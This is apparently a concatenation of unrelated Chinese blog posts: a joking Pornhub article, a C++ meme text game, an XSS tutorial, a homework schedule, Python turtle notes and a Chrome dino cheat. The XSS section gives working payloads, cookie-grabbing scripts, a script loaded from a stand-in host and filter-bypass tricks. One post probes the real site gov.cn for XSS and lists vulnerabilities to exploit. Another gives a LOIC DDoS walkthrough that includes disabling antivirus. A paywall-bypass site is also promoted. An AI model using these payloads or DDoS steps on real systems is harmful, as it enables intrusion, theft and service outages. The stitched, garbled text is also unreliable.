众所周知，P站是世界第一的成人网站，但是在2020年12月，Pornhub下架了超过1000万部未经认证的视频。Pornhub的这一举动与普利策奖得主纪思道2020年12月4日在《纽约时报》发布的专栏文章《被Pornhub毁掉的孩子》有关。该文指出，Pornhub每月能吸引35亿次访问，每日广告曝光量高达30亿美元，网站上充斥着**暴力等违规视频

这里有一张抗议群众的图片：

1.0 简介

这里是讲给不了解P站人听的，驾龄像我一样高就不用再看简介了啊

Pornhub是全球最大的色情影片分享网站之一。于2007年成立于加拿大蒙特利尔，是属于大型的色情视频分享类网站，被视为是“色情2.0”的先驱，在Alexa上排名第80位（最高时曾跻身前30）。

注：欧美相对开放些，法律是允许的

它是一个免费的，由广告支持的网站。除了专业色情内容，网站也提供业余色情内容。Pornhub的形式类似于Youtube，用户可以免费观看该网站上的视频，也可以将自己手中色情视频资源分享到该网站上。此外，也有许多第三方视频内容制作商会上传部分自己制作的“专业”视频内容到这家网站上。

位置

Pornhub在英国伦敦市，美国加利福尼亚州旧金山市，美国得克萨斯州休斯敦市以及美国路易斯安那州新奥尔良市均有分布式服务器。 2010年3月Pornhub被MindGeek购买，MindGeek同时拥有许多其他的色情网站。

2.0 事件

1.拍摄太空AV

Pornhub2015年6月宣布将在成人影片中加入新的元素，计划将A片演员辛斯（Johnny Sins） 与洛维亚（Eva Lovia）送上太空，完成第一部太空色情片《性爱探索》（Sexploration）。此外，为了支付高达340万美元（约合人民币2400万元）的拍片开销，色情网站在募资平台indiegogo上建立页面募款，截至11日已募得近8000美元。PornHub 副总柯瑞（ Corey Price ）表示，“如果募款顺利，这将改写历史”。然而许多专家提出质疑，认为要成功在无重力状态下性爱，需要克服许多障碍。另外美国国家航空航天局（NASA）专家沃尔普（Wolpe）就表示，男性在失重状态下不易起生理反应，雄性激素在离开大气层后也会开始下降。

注：由于这部影片是拍卖付费的，所以不方便截图其实也不能截图，这里只是科普以下，百度百科上有原图片和文字

3.0 现在的P站

我们知道P站在当时只能断臂求生，它凭借着一年访问量29亿准备推行新的项目：

1.VR影片

不多说自己体会

2.P站惊人的数据

—全年访客 290 亿；

—日均活跃用户 9000 万；

—全年用户上传视频总量为 415万；

—全年上传视频共计 3732 PB；

—全年视频总量足以装满世界上所有苹果手机；

—全年视频获赞 120 亿次；

—年度上传的视频可以播放 68 年。

我记得我们班还有人说他把整个网站上的视频都看完了，看来肾也很长寿，也不知道他多大了

3.实体店

没错你没听错

4.其它

世界疫情至今，Pornhub 的全球流量远远高于平时，最高的一天浏览量竟增长了24.4%，而这仅仅是刚刚开始…

4.0 你认为P站只会ghs？

answer：绝对不是，P站强到超乎你想象

题外话

这是不是像极了疫情期间上网课的你？（坏笑

特色1：放松却不忘学习

徐涛是什么鬼

在看P站刺激视频放松的同时，还可以观看数学、政治等知识姿势来充实人生，一举两得有没有。

著名天秀学家徐某生说过：

上次我监考孩子们考研，可以这样说噢，考研的人在家都在看资料复习啊，他们都是人上人，就是你们说的”所谓的学霸“，真正的学霸都是在家干出来的，不是这样吗？

特色2：在家学广播体操

还有很多广播体操噢

特色3：公益

其实不得不说现在的 P站是越来越有趣了

这张图其实也反映了播放量的恐怖

2019年在世界最“污”的海域上，拍摄了一部“公益视频”，该视频每播放一次，将会捐出一笔专门治理海洋污染的款项。如gif动画所示：

特色4：商业

买衣服背包啦，怎么看着就刺激(?

身材还蛮结实的嘛，什么啊，比结实还刺激

特色5：终生VIP

5.0 总结

不得不说，时代变了，P站更适合观赏了

（Beta1.1）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
#define say(x) cout<< x 
using namespace std;

int log(string s){
int l=s.size();
for(int i=0;i<l;i++){
say(s[i]);
Sleep(55);
}
printf("\n");
}

int main(){
int ans;
log("阿伟：弱哎，拜托你很弱哎！");
log("阿妈：阿伟又在打电动啊，休息一下吧，看个书好不好？");
log("**1.“不要，烦耶”");
log("**2.“好啊，没问题啊”"); 
cin>>ans;
switch(ans){
case 1:
log("阿妈：我才说你一句你就说我烦，我只希望你用功学习，整天就看到你在这里打-电-动！");
log("阿伟：哎呦死了啦，都是你害的啦！拜托（摔电脑）。我去学习了啊");
log("**1.去书店");
log("**2.去网吧打电动");
cin>>ans;
switch(ans){
case 1:
log("阿徐：阿伟，又在看书，看个完型填空A片吧，题目还蛮结实的");
log("阿伟：徐哥不要啦");
log("如果早知道阿伟也会看完型...");
log("GAMEOVER...");
break; 
case 2:
log("阿伟：他超废的");
log("彬彬：我知道啊，之前我就干掉他过");
log("阿伟：他每次都被我洗战绩耶");
log("彬彬：他就嫩啊");
log("**杰哥回眸一笑**");
log("阿伟：快点啦，我看到了，左边左边");
log("彬彬：好了");
log("阿伟：上面上面……左边左边");
log("彬彬：你不会放诶,我输了啊，快点放…我输了，不要玩了");
log("**1.“诶，你不要每次都这样好不好”");
log("**2.你就逊呗！") ;
cin>>ans;
switch(ans){
case 1:
log("彬彬：不想玩了啦");
log("阿伟：你还有没有钱啊，我肚子好饿");
log("彬彬：没了啦，今天都花光了");
log("**1.揍彬彬");
log("**2.“我刚刚不是叫你多带一点吗”");
log("彬彬：你干嘛自己不多带");
log("阿伟：你不要每次都这样好不好啦");
log("彬彬：好啦，时间也差不多了");
log("**杰哥默默在等他们**");
log("阿伟：彬彬，我好饿喔");
log("彬彬：我们两个都没钱了");
log("阿伟：你要干嘛");
log("彬彬：没有钱我们只能回家");   
log("阿伟：拜托，我才不要回家咧，我阿妈超凶的耶，去住你家啦");
log("彬彬：不行啊");
log("阿伟：为什么不行");
log("彬彬：我自己都自身难保了，而且我爸会揍我");
log("**1.那你爸很弱哎");
log("**2.去找蓄谋已久的杰哥");
cin>>ans;
switch(ans){
case 1:
log("彬彬：拜托，你也自身难保了哎");
log("彬彬：让我康康你有没有钱");
log("阿伟：不要..."); 
log("如果早知道阿伟也会被打..."); 
break;
case 2:
log("阿杰：不好意思，我刚听到你们两个说肚子饿，我这里刚好有个面包，给你们吃（显示自己的力量，表示愿意帮助二人），我还不饿，来，请你们吃（表达善意）");


break;
}
case 2:
log("**彬彬站起来，一拳...");
log("如果早知道阿伟也会被打...");
break;
}
}
break;
case 2:
log("阿妈：这个阿伟很勇啊，知识还蛮渊博的嘛");
log("阿伟：阿妈你干嘛啊");
log("**阿妈带上老花镜**");
log("阿妈：拜托，我也想来学习！");
log("阿伟：不要！"); 
log("阿伟：拜托，你不要每次都这样好不好！？");
log("阿伟：啊，我死了啦");
log("......");
log("如果早知道阿妈这么勇...");
break;
default:
log("输入错误，游戏结束...");
    }
return 0;
}

现在人的脑洞都挺大啊，思维也都挺敏捷哈

事实上，xss的确是一种插入的形式来植入恶意代码，下面我来带大家由浅入深的讲解一下xss攻击（这是一种注入型攻击）

既然你们都喜欢这样，那么我就用思维敏捷点的方式来讲（手动滑稽

2.0 什么是xss攻击

xss是跨站脚本攻击（Cross Site Scriping）

Q：为什么cross不用C来表示呢？

A：因为已经有了css（层叠样式表）

2.1 原理

跨站脚本攻击是攻击者通过有web漏洞的页面中插入恶意js脚本而进行破坏，

从而使其他用户在打开该页面时执行恶意代码，达到攻击者一定目的。

总结：xss攻击使对于用户层面的攻击

3.0 xss的分类

分为：

1.反射型

2.储存型 

3.DOM型

3.1 反射型

解释：并非持久的插入方式，大多数是需要欺骗用户点击链接出发，因此不够深，服务器是没有这串代码的

用处：通常是获取用户cookie信息

姿势：如通过搜索框插入

总结：深度不够，也不持久，仅为一次插入

喂，别想歪了啊

3.2 储存型

这种方式非常持久喔，一般只要网站过滤不严格，那么就可以将其存储进服务器内部，这次深度够了,插起来也很方便，来，上学习资料：

存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，插入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie

用处：本领大，主要是能储存，严重威胁web安全

姿势：如通过评论插入

总结：非常深，很持久

3.3 DOM型

这个方式其实挺特殊的啊，这里的DOM指的是前端标签语言HTML中的dom属性，有机会我会来讲解一下。这里我找到了好理解的一段话供大家参考：

不经过后端，DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞，DOM-XSS是通过url传入参数去控制触发的，其实也属于反射型XSS。

那么可以激发DOM型xss”欲望“的语句有：

1
2
3
4
5

document.referer
window.name
location
innerHTML
documen.write

然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值，再通过DOM方法赋值给选择列表，该过程没有经过后端，完全是在前端完成的。所以，我们就可以在我们输入的参数上做手脚了。

用处：类似于反射型xss

姿势：DOM插入

总结：实用的插入方式，但需要一定“欲望”

4.0 常见攻击代码

**注意：以下所有标签的 > 都可以用 // 代替， 例如

4.1 script

1
2
3
4
5

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1，对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

4.2 svg

1
2

<svg onload="alert(1)">
<svg onload="alert(1)"//

4.3 img

1
2

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie

4.4 body

1
2

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

4.5 video

1

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

4.6 style

5.0 插在哪

不管是插什么，肯定要知道插在哪，你说对吧，我找到了一串无序列表给大家：

• 用户输入作为script标签内容
• 用户输入作为HTML注释内容
• 用户输入作为HTML标签的属性名
• 用户输入作为HTML标签的属性值
• 用户输入作为HTML标签的名字
• 直接插入到CSS里
• 最重要的是，千万不要引入任何不可信的第三方JavaScript到页面里！

6.0 进阶插入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#用户输入作为HTML注释内容，导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名，导致攻击者可以进行闭合绕过
<div 用户输入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值，导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

#用户输入作为标签名，导致攻击者可以进行闭合绕过
<用户输入  id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容，导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

7.0 过滤

这里不多说，看过我之前博客的应该知道：

传送门

8.0 绕过

我们知道道高一尺魔高一丈，即使有网站是开了过滤，我们还是有办法绕过这些过滤，这个过程即“绕过”

这里只是点一下，重点是姿势和实战（因为我们要紧扣主题），我把一个demo给大家看下就明白了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

//前端 1.html：
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

1
2
3
4
5
6
7
8
9

//后端 action4.php：
<?php
$name=$_POST["name"]; 
if($name!=null){
$name=preg_replace("/<script>/","",$name);      //过滤<script>
$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
echo $name; 
}
?>

再教大家两个小技巧：

1.我们可以通过大小写来绕过：

1

<scripT>alert('hack')</scripT>

2.我们可以嵌套：

1

<scr<script>ipt>alert('hack')</scr</script>ipt>

9.0 实战

这里有一个测试平台：

实战过程：

这里只是简单展示了一下xss攻击，如果看不清可以听我说：

这里有一个div标签，我在div嵌套了一个基本姿势：

1

<script>alert(1)</script>

记住，如果是数字可以不用加双引号

1.必须先注册一个github账号

2.禁止发违反国家法律法规的信息，一经发现，立刻删除或者隐藏评论（我这里可以管理评论后台）

2.0 结语

畅所欲言吧

下面是来自A稽的朋友提交的问题：

2.0 答

我的回答是：

唔？body嵌入式都不行？

3.0 解决方案

建议下载Firefox或chrome，虽然日常很少去对比哪个好，但是如果你要开发前端的话，不建议用别的浏览器

我这里有一点简介供大家参考

	Internet Explorer（IE浏览器） Internet Explorer（IE浏览器）是微软公司（Microsoft）发行的一款 web 浏览器。 它发布于 1995 年，是当今最流行的浏览器之一。

	Microsoft Edge 浏览器 微软新一代浏览器。 微软新的 IE 浏览器项目 Project Spartan 在 Build 2015 上正式更名为 Microsoft Edge。最新的 Edge 采用了 Chromium 内核，当然也兼容以前 IE 的功能。

	Google Chrome（谷歌浏览器） Google Chrome（谷歌浏览器）是由 Google 公司开发一款开源免费的 web 浏览器。它发布于 2008 年，是当今最常用的浏览器。

	Firefox（火狐浏览器） Firefox（火狐浏览器）是来自 Mozilla 的一款 web 浏览器。它发布于 2004 年，也是当今最流行的浏览器之一。

	Apple Safari（苹果 Safari 浏览器） Safari 是由苹果公司开发的一款 web 浏览器，它是 Mac 系统的默认浏览器。Safari 以其时尚的设计而著称。

	Opera 浏览器 Opera 是挪威人发明的一款 web 浏览器。它以下列特性而闻名于世：快速小巧、符合工业标准、适用于多种操作系统。对于一系列小型设备诸如手机和掌上电脑来说，Opera 无疑是首选的浏览器。

	Mozilla 项目 Mozilla 项目是从 Netscape 的基础上发展起来的。今天，基于 Mozilla 的浏览器已经演变为互联网上最大的浏览器家族。

	Netscape 浏览器 Netscape 是首个商业化的 web 浏览器。它发布于 1994 年。在 IE 的竞争下，Netscape 逐渐丧失了它的市场份额。Netscape 的官方开发结束于 2008 年 2 月。

颜色深度统计

今天，大多数计算机使用 24 位或 32 位硬件来显示 16,777,216 种不同的颜色。

较旧的计算机使用 16 位显卡，它最多能显示 65,536 种不同的颜色。

很旧的计算机使用 8 位显卡，它最多能显示 256 种不同的颜色。

下表是 操作系统统计 中关于移动设备使用情况的细节：

* iOS 主要指的是苹果移动设备（如 iPhone、iPad 和 iPod）的操作系统。

Internet Explorer 浏览器

Internet Explorer 浏览器，简称 IE 浏览器，是微软公司（Microsoft）发布的一款免费的 web 浏览器。

Firefox 浏览器

Firefox 浏览器，中文名”火狐浏览器”，是来自 Mozilla 的一款免费的开源 web 浏览器。

Firefox 发布于 2004 年，也是当今最流行的浏览器之一。

Firefox 可以在 Windows、Mac OS X、Linux 和 Android 上运行。

下载 Firefox

一月份

• 1.20

  1.语数英物《寒假星生活》各两天

  2.预习数学一个课时

  3.背默一课语文古诗/词/文

  4.背两个模块英语单词

• 1.21

  1.语数英物《寒假星生活》各两天

  2.预习数学一个课时

  3.背默一课语文古诗/词/文

  4.背两个模块英语单词

• 1.22

  1.语数英物《寒假星生活》各两天

  2.预习数学一个课时

  3.背默一课语文古诗/词/文

  4.背两个模块英语单词

• 1.23

  1.语数英物《寒假星生活》各两天

  2.预习数学一个课时

  3.背默一课语文古诗/词/文

  4.背两个模块英语单词

• 1.24

​ 1.语数英物《寒假星生活》各两天

​ 2.预习数学一个课时

​ 3.背默一课语文古诗/词/文

​ 4.背两个模块英语单词

• 1.25

  1.语数英物《寒假星生活》各两天

  2.预习数学一个课时

  3.背默一课语文古诗/词/文

  4.背一课英语对话

• 1.26

  1.语数英物《寒假星生活》各两天

  2.背默一课语文古诗/词/文

  3.背一课英语对话

  4.预习物理一个课时

• 1.27

  1.语数英物《寒假星生活》各两天

  2.背默一课语文古诗/词/文

  3.背一课英语对话

  4.预习物理一个课时

• 1.28

  1.语数英物《寒假星生活》各两天

  2.背一课英语对话

  3.预习物理一个课时

• 1.29

  1.语数英物《寒假星生活》各两天

  2.背一课英语对话

  3.预习物理一个课时

• 1.30

  1.完成英语实践作业

  2.预习数学一个课时

  3.预习物理一个课时

• 1.31

  1.写数学练习题

  2.预习物理一个课时

  3.预习英语一个模块

*： 一月份每天都要完成：阅读《傅雷家书》不少于三十分钟；英语完型填空和阅读短文一篇

二月份

• 2.1

  1.写数学练习题

  2.预习物理一个课时

  3.预习英语一个模块

• 2.2

  1.写数学练习题

  2.预习物理一个课时

  3.预习英语一个模块

• 2.3

  1.写数学练习题

  2.预习物理一个课时

  3.预习英语一个模块

• 2.4

  1.完成政治实践作业

  2.预习物理一个课时

  3.预习英语一个模块

• 2.5

  1.完成历史实践作业

  2.预习物理一个课时

  3.预习英语一个模块

• 2.6

  1.完成地理实践作业

  2.预习物理一个课时

  3.预习英语一个模块

• 2.7

  1.完成生物实践作业

  2.预习物理一个课时

  3.预习英语一个模块

• 2.8

  1.完成数学实践作业

  2.预习物理一个课时

  3.预习英语一个模块

• 2.9

  2.预习物理一个课时

  3.预习英语一个模块

• 2.10

  2.预习物理一个课时

  3.预习英语一个模块

• 2.11

  2.预习物理一个课时

  3.预习英语一个模块

• 2.12

  2.预习物理一个课时

  3.预习英语一个模块

• 2.13

  无

• 2.14

  无

• 2.15

​ 无

*:寒假期间每天都须进行体育锻炼；其中二月份须完成每天阅读《钢铁是怎样炼成的》不少于40分钟

2.0 答

攻击中国政府网站在2021年anonymous组织有过a，但是呢在中国是属于犯罪行为，如果想了解的话底下有一点技巧，希望能启发到您

3.0 过程

1.首先

我们来到中国政府网站：www.gov.cn

OK，下一步检测是否存在xss漏洞（跨站脚本攻击）

请注意看右上角搜索框中的

1

<script>alert('xss')</script>

这是一个简单的xss脚本，常用来测试网站的xss漏洞，当然这种小伎俩gov这些政府网站肯定可以过滤，那么我们来看一下过滤原理：

！：提示，这里我们要看提交代码后的url

看到了没？alert后面的恶意代码已经被过滤

凡是xss恶意代码，只能过滤、转换，却不能消除，懂我的意思不？

（不可以根除）

2.其次

我们来找找旁站以及其它注入，不过从zoomeye中我们就发现了以下漏洞：

dedecms

994132021-12-15高危DedeCMS XML注入漏洞(CVE-2018-16784)

993922021-11-24高危Dedecms 身份绕过漏洞

993632021-10-01高危DedeCMS 未授权RCE漏洞

980442019-08-02高危DedeCMS 后台存在SSRF漏洞

978222019-02-25低危dedecms后台getshell

apache tomcat

993162021-07-27中危Apache Tomcat HTTP请求走私(CVE-2021-33037)

990342020-11-04高危Apache Tomcat拒绝服务漏洞（CVE-2020-13935）

982342020-05-21高危Apache Tomcat session持久化远程代码执行漏洞(CVE-2020-9484)

981342020-02-20高危Apache Tomcat Ajp协议文件包含漏洞

979052019-04-12高危Apache Tomcat Remote Code Execution on Windows(CVE-2019-0…

phpmyadmin

977312018-12-18高危PHPMyAdmin multiple vulnerabilities

973552018-06-21高危phpmyadmin4.8.1后台getshell

925122016-11-02高危phpMyAdmin dbase extension 远程代码执行漏洞

923392016-08-25高危phpmyadmin2.8.0.3任意文件包含漏洞

922092016-08-01高危PhpMyAdmin 4.3.0—4.6.2 授权用户远程命令执行漏洞

http

993642021-10-08高危Apache HTTPd 多个路径穿越与命令执行漏洞（CVE-2021-41773 CVE-2021-42013）…

979002019-04-10高危CVE-2019-0211 Apache Root Privilege Escalation

976332018-10-30高危ACME Mini_httpd组件任意文件读取漏洞(CVE-2018-18778)

965562017-09-20高危Apps industrial OT over Server: Anti-Web Local File Incl…

965552017-09-20高危Apps industrial OT over Server: Anti-Web Remote Command …

jcms(hanweb)

922772016-08-11高危大汉jcms /jcms/jcms_files/jcms1/web1/site/module/comment/op…

915302016-05-12高危大汉JCMS /xxgk/workflow/design/que_model.jsp 多个参数SQL注入

915292016-05-12高危大汉JCMS /short_message/que_contact.jsp 等3处SQL注入

912022016-03-29高危大汉 (JCMS)的opr_getcount.jsp的两处注入（

912012016-03-29高危大汉JCMS政务系统 opr_ballot.jsp 参数c_uuid SQL注入漏洞

kangle

906762016-01-28中危Kangle虚拟主机本地文件包含漏洞

906742016-01-28中危kangle web server目录遍历漏洞

apache httpd

993642021-10-08高危Apache HTTPd 多个路径穿越与命令执行漏洞（CVE-2021-41773 CVE-2021-42013）…

979002019-04-10高危CVE-2019-0211 Apache Root Privilege Escalation

nginx

962732017-07-13高危Nginx Remote Integer Overflow Vulnerability(CVE-2017-7529…

925382016-11-16高危Nginx 权限提升漏洞 (Debian、Ubuntu发行版)

893212015-09-06中危nginx 0.5.6 - 1.7.4 SSL session vulnerable

620142014-03-31高危Nginx SPDY缓冲区溢出漏洞

625292013-12-01高危Nginx Blank Null Byte 代码执行漏洞

jsp

992872021-07-07高危Jspxcms 后台RCE漏洞

980882019-10-17高危jspxcms不安全解压getshell

895872015-09-29中危JSPMyAdmin 1.1 SQL Injection, CSRF & XSS漏洞

893872015-09-09高危JSPMySQL Administrador CSRF & XSS Vulnerabilities

microsoft iis httpd

892332015-07-01高危IIS 系列 Http.sys 处理 Range 整数溢出漏洞

623502013-04-22高危IIS 7.5 解析错误 命令执行漏洞

604652012-11-18高危Microsoft IIS 密码信息泄露漏洞（MS12-073)

604662012-11-18高危Microsoft IIS FTP服务远程命令注入漏洞（MS12-073)

622892012-07-12中危IIS <7.5 8.3格式短文件名导致的信息泄漏

wordpress

994312022-01-10高危wordpress SQL注入漏洞（CVE-2022–21661）

993042021-07-19高危woocommerce 插件 SQL注入漏洞

992352021-04-28高危wordpress 5.7 授权XXE漏洞（CVE-2021-29447）

991662021-03-25高危WordPress BuddyPress插件远程代码执行漏洞

991532021-03-10高危WordPress The Plus Addons for Elementor插件身份验证绕过漏洞（CVE-202…

qibocms

915902016-05-18高危齐博CMS视频系统 showsp.php和list.php 两处SQL注入漏洞

915452016-05-13中危齐博视频系统 video/member/special.php SQL注入漏洞

914962016-05-09中危齐博视频系统 special.php 参数aids SQL注入漏洞

913672016-04-23高危qibocms 地方门户系统zhuangxiu/list.php处注入

912722016-04-07高危齐博CMS知道系统 zhidao/ask.php等4处SQL注入

fckeditor

925212016-11-05中危FCKEditor Core - (Editor ‘spellchecker.php’) Cross-Site S…

901762015-12-24低危FCKeditor /spellchecker.php 页面绝对路径泄露

901422015-12-21高危FCKeditor JSP版本 connector模块文件上传漏洞

901362015-12-18高危FCKeditor 2.4.3 /fckeditor/editor/filemanager/upload/php…

894502015-09-17高危网站通 CMS FCKeditor 组件文件上传漏洞

discuz!

980452019-08-02中危dz x3.4 后台任意文件读取可导致任意用户密码重置或getshell

980192019-07-11高危Discuz!ML V3.X 代码注入

978152019-02-19高危Discuz 3.4 越权登陆漏洞

977092018-12-10高危DiscuzX 两处 SSRF 挖掘及利用

977042018-12-05高危Discuz x3.4前台SSRF

kesioncms

910272016-03-14中危KesionCMS ASP版 /item/?c-5,key-1.html SQL注入漏洞

949312016-02-24高危KesionCMS官网大马一枚

893432015-09-07高危KesionCMS V2.5 /plus/ueditor/Uploader.cs 文件上传

949302015-07-10中危KesionIMalv2.5逻辑漏洞（DEMO演示）

949062015-06-03高危KesionIMALL 注册处存在cookie 注入

3.0 总结

即便是中国政府网站也存在大量漏洞，没有无懈可击的网站，或许只是没有发掘到其本质。

有哪位大佬能猜到中国政府网站后台目录吗？

二话不说，上loic

众所周知，很多人被名叫ca*yu.cc之类的网站骚扰，该网站已发现大量成年人内容，只适合杨春运等成年人观看

Q：就是一个这样的网站，就把ta黑了？

A：除此之外，该网站还在传播各种博彩广告，影响很大

python是一个简单易懂的语言，并且有一个非常有趣的库—-turtle库，它可以帮你绘画，本期博客我来归纳一下常用的绘画代码，非常好学，请大家仔细听

0.2 建议

建议使用pycharm，虽然内存高了点，但写起python比文本文档好

1.0 代码

海龟动作

移动和绘制

forward() | fd() 前进
backward() | bk() | back() 后退
right() | rt() 右转
left() | lt() 左转
goto() | setpos() | setposition() 前往/定位
setx() 设置x坐标
sety() 设置y坐标
setheading() | seth() 设置朝向
home() 返回原点
circle() 画圆
dot() 画点
stamp() 印章
clearstamp() 清除印章
clearstamps() 清除多个印章
undo() 撤消
speed() 速度

获取海龟的状态

position() | pos() 位置
towards() 目标方向
xcor() x坐标
ycor() y坐标
heading() 朝向
distance() 距离

设置与度量单位

degrees() 角度
radians() 弧度

画笔控制

绘图状态

pendown() | pd() | down() 画笔落下
penup() | pu() | up() 画笔抬起
pensize() | width() 画笔粗细
pen() 画笔
isdown() 画笔是否落下

颜色控制

color() 颜色
pencolor() 画笔颜色
fillcolor() 填充颜色

填充

filling() 是否填充
begin_fill() 开始填充
end_fill() 结束填充

更多绘图控制

reset() 重置
clear() 清空
write() 书写

1.1 其它高级语句

• 海龟状态

  可见性showturtle() | st() 显示海龟hideturtle() | ht() 隐藏海龟isvisible() 是否可见外观shape() 形状resizemode() 大小调整模式shapesize() | turtlesize() 形状大小shearfactor() 剪切因子settiltangle() 设置倾角tiltangle() 倾角tilt() 倾斜shapetransform() 变形get_shapepoly() 获取形状多边形

• 使用事件

  onclick() 当鼠标点击onrelease() 当鼠标释放ondrag() 当鼠标拖动

• 特殊海龟方法

  begin_poly() 开始记录多边形end_poly() 结束记录多边形get_poly() 获取多边形clone() 克隆getturtle() | getpen() 获取海龟画笔getscreen() 获取屏幕setundobuffer() 设置撤消缓冲区undobufferentries() 撤消缓冲区条目数

TurtleScreen/Screen 方法

• 窗口控制

  bgcolor() 背景颜色bgpic() 背景图片clearscreen()resetscreen()screensize() 屏幕大小setworldcoordinates() 设置世界坐标系

• 动画控制

  delay() 延迟tracer() 追踪update() 更新

• 使用屏幕事件

  listen() 监听onkey() | onkeyrelease() 当键盘按下并释放onkeypress() 当键盘按下onclick() | onscreenclick() 当点击屏幕ontimer() 当达到定时mainloop() | done() 主循环

• 设置与特殊方法

  mode()colormode() 颜色模式getcanvas() 获取画布getshapes() 获取形状register_shape() | addshape() 添加形状turtles() 所有海龟window_height() 窗口高度window_width() 窗口宽度

• 输入方法

  textinput() 文本输入numinput() 数字输入

• Screen 专有方法

  bye() 退出exitonclick() 当点击时退出setup() 设置title() 标题

2.0 使用方法

NO.1（基本）

1
2
3
4

import turtle 
# 我是注释，import turtle是定义turtle的库
turtle.fd(50)
# 因为上面定义了这个库，所以以后都要用“turtle.xxx”来执行命令（即上文所说的各种语句）

NO.2（精简）

1
2
3
4

import turtle as t
# 这里是将定义turtle库定义成t，这是缩写，可以简化代码量，以后可以只用“t.xxx”来调用
# 例如：
t.fd(50)

如果你是chrome粉，一定会知道chrome（谷歌浏览器）的一个小彩蛋：dino，在断网的时候可以玩的小恐龙跳跃游戏，如图所示：

按下空格跳跃躲避仙人掌，过一段时间会加分

0.2悲惨经历

对于我一个手残党来说，小恐龙撞向仙人掌的次数已经数不胜数了qwq，为了挽救我的尊严，我决定

把小恐龙炖了

众所周知，我是一个很勇的人，通过各种资料的查询，我找到了虐小恐龙的办法

都你们玩的，其实是开挂

1.0 打开方式

打开谷歌浏览器，在空白页输入

按下回车，进入游戏界面按下空格就可以玩啦qwq

2.0 F12

鼠标点击页面（只是确保当前是浏览器，也可以跳过该步骤），按下键盘上的F12键

点击控制台，你们的可能是console

在这里点击后就可以输入以下开挂的javascript代码了

3.0 代码

NO.1 不死之身

1

Runner.instance_.gameOver=function(){}

NO.2 加速

1
2

Runner.instance_.setSpeed(999)

4.0 交互

以上代码可以自行复制，别忘了按下回车

5.0 原理

F12的审查元素我就不讲了，讲一下代码：

NO.1不死之身其实就是将游戏里的gameOver函数写入空白，这样就不会判定何为游戏失败

NO.2加速其实就是定义一下runner的成员速度变量，里面的参数自己调

6.0结语

chrome里的小恐龙这么可爱，别玩坏了喔~

很多人会为了自己喜欢看的电影而在某些网站上充值vip，事实上，看这些收费视频只需要一些解析网站，本期博客来介绍一下

1.0 过程

这里推荐解析网站：

http://jx.itxm.net/

比如我从爱奇艺上看的电影，将地址放入输入框，点击按钮play

2.0其它

除此之外还可以用python爬虫……

3.0 iframe内联框架

如果实在不行可以去原网页观看

0.1前言

众所周知，loic是一种测试网络压力的实用工具，由于性能好，被用于ddos攻击，下面我来介绍一下具体使用方法

0.2声明

切勿用于非法用途，本站不承担任何责任

0.3截图

1.0 UI介绍

loic分为三个部分

1. 攻击目标选择及信息
2. 攻击及停止按钮
3. 攻击方式及相关参数

另外，loic还有 贴心的提示（滑稽

哈哈哈，这是真的，比如不在输入框中填写攻击方式就会有好的提示

这个是下载地址

https://sourceforge.net/projects/loic/

（这里是说文件有木马，实际上只是黑客工具罢了，必须把各种杀毒软件关掉再打开）

2.0 过程

NO.1

目标地址：

• url: 例如:http://www.baidu.com
• ip: 没有例如，可以查询以下网站

ip地址查询网站传送门

注意：以上为两条分支，只能二选一，填上后请点击“Lock on”

当然，上传后这里的NONE会变成地址

NO.2

这里是控制的UI，method是攻击方式，有udp、tcp、、http（通常是http）

右边有ddos速度条，可以实时调整

点击攻击，第二次点击是停止

NO.3

这个是各种参数面板，如果能看得懂的话可以对比一下数据

这个地方会显示网站状态

3.0 结语

ddos攻击常见工具还有hoic、xoic，网站需要购买防火墙或开启cdn加速才能有效防止攻击，以后的教程会更新

本期博客非常轻松易懂，下面是黑客常用术语

正文

远控

很流行的一类工具，其中最著名的是灰鸽子，远控最主要的功能就是控制电脑，一般用来做企业电脑批量管理，学校机房，网吧等，但是被黑客利用后，出现了很多新功能，比如键盘记录，偷看视频等，从某种意义上来说是严重违法的行为，随着杀毒软件的升级，和对此类软件的打击，现在玩远控的人越来越少了。

肉鸡

所谓“肉鸡”是一种很形象的比方，用来比作那些能够随意被我们操控的电脑或服务器。也就是被远控软件控制的机器。

木马

就是那些表面上伪装成了正常的程序，可是当这些被程序运行时，就会获得电脑的整个操控权限。有很多黑客就是用木马来对电脑进行破坏的，例如远控要控制电脑的前提就是先生成木马，然后想办法让对方运行，就能进行控制。

网页木马

